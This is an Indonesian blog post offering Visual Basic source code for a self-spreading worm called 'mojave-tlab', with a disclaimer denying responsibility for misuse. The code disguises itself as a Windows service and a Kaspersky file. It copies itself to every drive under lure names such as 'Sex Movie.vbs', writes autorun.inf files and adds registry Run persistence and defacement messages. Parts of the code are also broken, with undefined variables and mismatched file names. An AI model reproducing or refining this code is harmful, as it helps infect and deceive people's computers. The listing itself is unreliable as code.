Indeks
Latest images
Membuat Virus Dengan Notepad
Segala Penyalahgunaan tulisan ini Bukan Tanggung Jawabku
Dan ak tak akan memberi jawaban atas pertanyaan lanjutan jika ada sebab bagi teman2 yg mengerti akan JAVA, VB dan script html pasti dgn mudah memppraktekannya..
======================================================
Virus yang akan kita buat ak beri nama mojave-tlab yang merupakan tlab yang dimodifikasi
======================================================
Segala Penyalahgunaan tulisan ini Bukan Tanggung Jawabku
Dan ak tak akan memberi jawaban atas pertanyaan lanjutan jika ada sebab bagi teman2 yg mengerti akan JAVA, VB dan script html pasti dgn mudah memppraktekannya..
======================================================
Virus yang akan kita buat ak beri nama mojave-tlab yang merupakan tlab yang dimodifikasi
======================================================
- Code:
Sub Main()
On Error Resume Next
Dim Rumah As Variant
Dim FolderSYSTEM As Object
Set Rumah = CreateObject("scripting.filesystemobject")
Set FolderSYSTEM = Rumah.GetSpecialFolder(1)
If App.PrevInstance = True Then End
App.TaskVisible = False
App.Title = "Windows Service"
FileCopy App.Path & "" & App.Name & ".vbs", FolderSYSTEM & "\godham-tlab.vbs"
FileCopy App.Path & "" & App.Name & ".vbs", FolderSYSTEM & "\kaspersky.vbs"
SD
IE
XD
XDS
End Sub
Sub XD()
On Error Resume Next
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
Dim penanda As Byte
For ictr = 65 To 90
sDrive = Chr(ictr) & ":"
On Error Resume Next
FileCopy App.Path & "" & App.Name & ".vbs", sDrive & "Sex Movie.vbs"
FileCopy App.Path & "" & App.Name & ".vbs", sDrive & "Gairah Anak Muda.vbs"
FileCopy App.Path & "" & App.Name & ".vbs", sDrive & "Ini Virus buat remaja.vbs"
FileCopy App.Path & "" & App.Name & ".vbs", sDrive & "Jangan dibuka bahaya buat yang kurang umur.vbs"
Next
End Sub
Sub SD()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set fileADSW = fso.CreateTextFile("C:\autorun.inf")
Set fileADSW = fso.CreateTextFile("D:\autorun.inf")
Set fileADSW = fso.CreateTextFile("F:\autorun.inf")
fileautorun.WriteLine ("[AUTORUN]")
fileautorun.WriteLine ("RUN=Sex Movies.vbs")
End Sub
Sub IE()
On Error Resume Next
Dim Paray
Set Paray = CreateObject("Wscript.Shell")
Paray.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Infected By Godham-Tlab.vir, please use PCMAV to clean me"
Paray.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "Infected By Godham-Tlab.vir"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", FolderSYSTEM & "\godham-tlab.bvs"
End Sub
» Buah - Varau
» 41 Istilah Pendakian
» Kabaena Kampo Tangkeno
» 5 Manfaat Ubi Jalar untuk Kesehatan Tubuh
» Berapa biaya sewa pesawat pribadi atau helikopter?
» Cara menggunakan 1 akun WhatsApp di 2 smartphone android
» Cara Mudah Membuka Proteksi Password Microsoft Office Excel Tanpa Software
» Serial Number NERO 6